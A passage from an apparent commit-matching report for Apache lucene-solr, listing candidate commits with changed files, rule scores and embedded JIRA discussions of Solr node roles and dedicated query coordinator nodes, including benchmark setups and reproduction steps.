"solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", - "solr/core/src/java/org/apache/solr/core/CoreContainer.java", - "solr/core/src/java/org/apache/solr/core/NodeRoles.java", - "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", - "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", - "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", - "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", - "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", - "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", - "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", - "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", - "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", - "solr/core/src/java/org/apache/solr/update/UpdateLog.java", - "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", - "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", - "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", - "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", - "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome.", - "SOLR-15715": "We have a large collection with 1000s of shards in the solr cluster. We have observed that distributed solr query takes many resources(thread, memory, etc.) on the solr data node(node which contains indexes). Thus we need dedicated query nodes to execute distributed queries on large solr collection. That would reduce the memory/cpu pressure from solr data nodes. Elastis search has similar functionality here noble.paul ichattopadhyaya Dedicated query coordinator nodes in the solr cluster Related to SOLR-15694 I'd like to point out here that this feature is a donation from FullStory, where hiteshkhamesra implemented this solution that has already brought immense benefits on large Solr clusters. As part of this JIRA, we plan to upstream that functionality so that broader Solr community can benefit. While we've seen substantial reduction of memory usage on data hosting nodes in production for FullStory's internal workloads, I shall publish benchmarks for this feature on publicly available datasets soon. I just wrapped up an initial round of testing on regular setup (6 data nodes) POC setup (1 dedicated overseer + 1 coordinator + 6 data nodes). Setup details Regular setup: 6 nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: first data node ( port 50000 ) POC setup: 8 nodes: 1 dedicated overseer, 1 coordinator node, 6 data nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: coordinator node ( port 50001 ) Performance results Here are the results, Regular setup results: POC results: Conclusion Due to a separate coordinator node, memory usage on data nodes very low. Isolated coordinator node feature for query aggregation working as designed. A well known issue with this model is that the aggregation nodes can a. become bottlenecks to the overall throughput and b. cause outages if they are not scaled correctly. In an aggregation heavy system, these nodes will become the target of maximum load, thus potentially causing a skew in the cluster where the data nodes are relatively lower loaded vs the aggregation nodes bearing most of the load. To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. Compared to status quo, in a state of high load, the chances of the cluster running into a cascading failure mode are higher for this solution. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. What do you mean by a \"separate scalability model\"? These query aggregation nodes are stateless and can be scaled up and down independently of the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. { } That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. That can eventually mean a larger cluster overall, since you aren't really removing any data nodes? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. While I am glad to hear that, I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? It is possible to use Kubernetes or AWS autoscaling based on QPS or other load metrics to provision more of these query aggregation nodes. If this feature leverages the Node Roles feature (SIP-15), then the implication of having many query aggregation nodes would be that there will be many ephemeral nodes added to the /node-roles subtree (nested under coordinator role). {{You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. }} An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. The benchmark I posted above is one such simulated benchmark which is reproducible (I'll share the steps to reproduce it once we have a PR opened). There might be many more reproducible benchmarks to come for this feature, each highlighting different aspects of this solution. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. Having said that, I don't expect that anyone except a tiny minority of users would find this feature helpful. And, as you mentioned, even for those who find this useful, it might be necessary to weigh the tradeoffs that are involved (having additional nodes on top of the data nodes vs. whatever benefits can be had). This is going to be an opt-in feature. In this JIRA, I don't think we can address all such real world scenarios in order to be able to provide definitive guidance whether this will be useful for a particular scenario or not. An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. That is true when the majority of workload is non aggregation. On the other hand, if the majority of the workload is aggregation heavy, we are essentially creating a skew in the cluster, keeping majority of nodes free and focusing the heavy lifting to a few nodes \u2013 which will lead to either a set of cascading failures or additional nodes, thus pushing up the cost and increasing cluster management complexity. I am interested in seeing that kind of a benchmark to see how this solution behaves in that situation. Copying a comment I made on the PR because I think it is a slightly larger discussion and might need more eyes on it. Design point: I'm not a fan of putting the coreNameMapping into the CoreContainer's objectCache. It feels kludgey and like we're using that as a grab bag for everything. It's not discoverable and probably not maintainable. I'd like to see this rearchitected in some ways for CoreContainer to allow roles to register themselves with it, and then there's a specific entry per role. And hopefully that's a domain object that can be extendable in the future. So instead of ObjectCache we have a map called RoleData that is maybe Map and each role knows what that entry is. It feels kludgey and like we're using that as a grab bag for everything. I agree that it is a bit \"kludgey\". However I do not believe all roles need to register some data with CoreContainer. I shall try to make it cleaner Here are final benchmark numbers. Setup Branch: https://github.com/apache/solr/pull/996 No. of Solr nodes: 6 (1 dedicated overseer, 1 coordinator node, 4 regular data nodes) No. of collections: 1 No. of shards: 256 No. of documents: 25 million No. of queries: 2000 (faceting queries, a few join queries) Hardware: One machine with 64GB RAM, at least 16 CPUs. Suite: https://github.com/fullstorydev/solr-bench/blob/master/coordinator-node.json Comparison: Scenario 1) All queries sent to the dedicated overseer node, and hence forwarded to data nodes and executed there. Scenario 2) All queries sent to coordinator node, hence executed on that node. Results Here are the heap usage graphs. The left graphs are for scenario 1 (queries executed on data nodes) and right graphs are scenario 2 (queries executed on coordinator node). It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Reproducing these benchmarks On a laptop, desktop or VM, with at least 64GB RAM and 16 CPUs, do the following: 1. git clone https://github.com/fullstorydev/solr-bench 2. apt install wget unzip zip ant ivy lsof git netcat make openjdk-11-jdk maven jq 3. mvn clean compile assembly:single 4. ./stress.sh coordinator-node.json To run scenario 1, keep the `query-node` to 1 in `querying` section of `task-types` (coordinator-node.json). To run scenario 2, change it to 2. Here 1 and 2 represent the node index (check the `startup-params-overrides` in `cluster` section). To plot the graphs, run `python2.6 -m SimpleHTTPServer 9000` (after a run) and open http://localhost:9000/plot-stress.html on the browser to view the graphs. Narrow down to \"Task 3\" for graphs only during the query phase. I plan to merge the PR #996 soon. It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Can you pretend that I'm a junior engineer and explain this conclusion to me? Can you pretend that I'm a junior engineer and explain this conclusion to me? It seems that during the query phase, a data node (lets say the red line) goes through 9 cycles of GC in scenario 1, whereas during scenario 2 same line goes via 6 cycles. Hence, I arrived at the conclusion that there's less GC cycles, thus indicating lower heap usage, when using coordinator nodes for querying. Does it make sense, Mike? Commit d029eb14aa8fbb592938f67bd1397bd8fe805168 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d029eb14aa8 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Commit 05f72879b33f389d89baaf7559ea03eb9aef2e89 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=05f72879b33 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Thanks to everyone for reviews and contribution. Bulk closing 9.1 issues. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Obviously very late to the party, and likely have missed something, but looking at this and some of the code, I'm given to wonder why this wasn't achieved via client request preferences (which was implemented), node labeling, and replica placement (to ensure certain labeled nodes never get data). Nodes without data that receive all the client requests is job done, right? In the current code it seems that only tests will ever call \"setPreferredNodes()\" which makes me think that this feature only works if the end-user client is manually tracking what nodes are coordinators? I guess my biggest Q is why do we need subclasses of HttpSolrCall? This seems achievable with node labels, a node role that adds a label, client smarts, and replica placement. I see a bunch of references to \"synthetic collection\" in the code, but it's not clear what this is or why its needed. From the javadoc: /**\r\n * A coordinator node can serve requests as if it hosts all collections in the cluster. it does so\r\n * by hosting a synthetic replica for each configset used in the cluster. Why do we want to do that? Existing code already knew how to find shards, delegate sub requests and coordinate a response, why do we need to fake the location of the collections with a synthetic replica? Gus, without this feature, how does one get a core/replica onto a coordinator node that has no data? Normally a core is part of a shard and that shard has data like all the others. This only partially addresses your questions; I don't have all the answers. I think I would have rather seen a special shard; maybe having no range and/or having a special state. But I think an aspect of the solution here is to have an approach that scales to many collections, thus don't want many empty cores. So instead I could imagine a collection that is able to query any other collection. I noticed an interesting new issue & PR on this feature recently SOLR-17118 ." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715", - "relevance": 2 - } - ] - }, - { - "commit_id": "3b395d90e5fd6604afb27da4777fd9d1c347c48d", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698857127, - "hunks": 1, - "message": "Remove unused import, thereby fixing Eclipse import error", - "changed_files": [ - "solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler", - "relevance": 4 - } - ] - }, - { - "commit_id": "ace7641edb762d31519df1db845885dfd31caee4", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698605784, - "hunks": 4, - "message": "SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/ZkController.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "b54a788fe71c7f87a8b8564461cb196c138fc7ce" - ] - ], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - 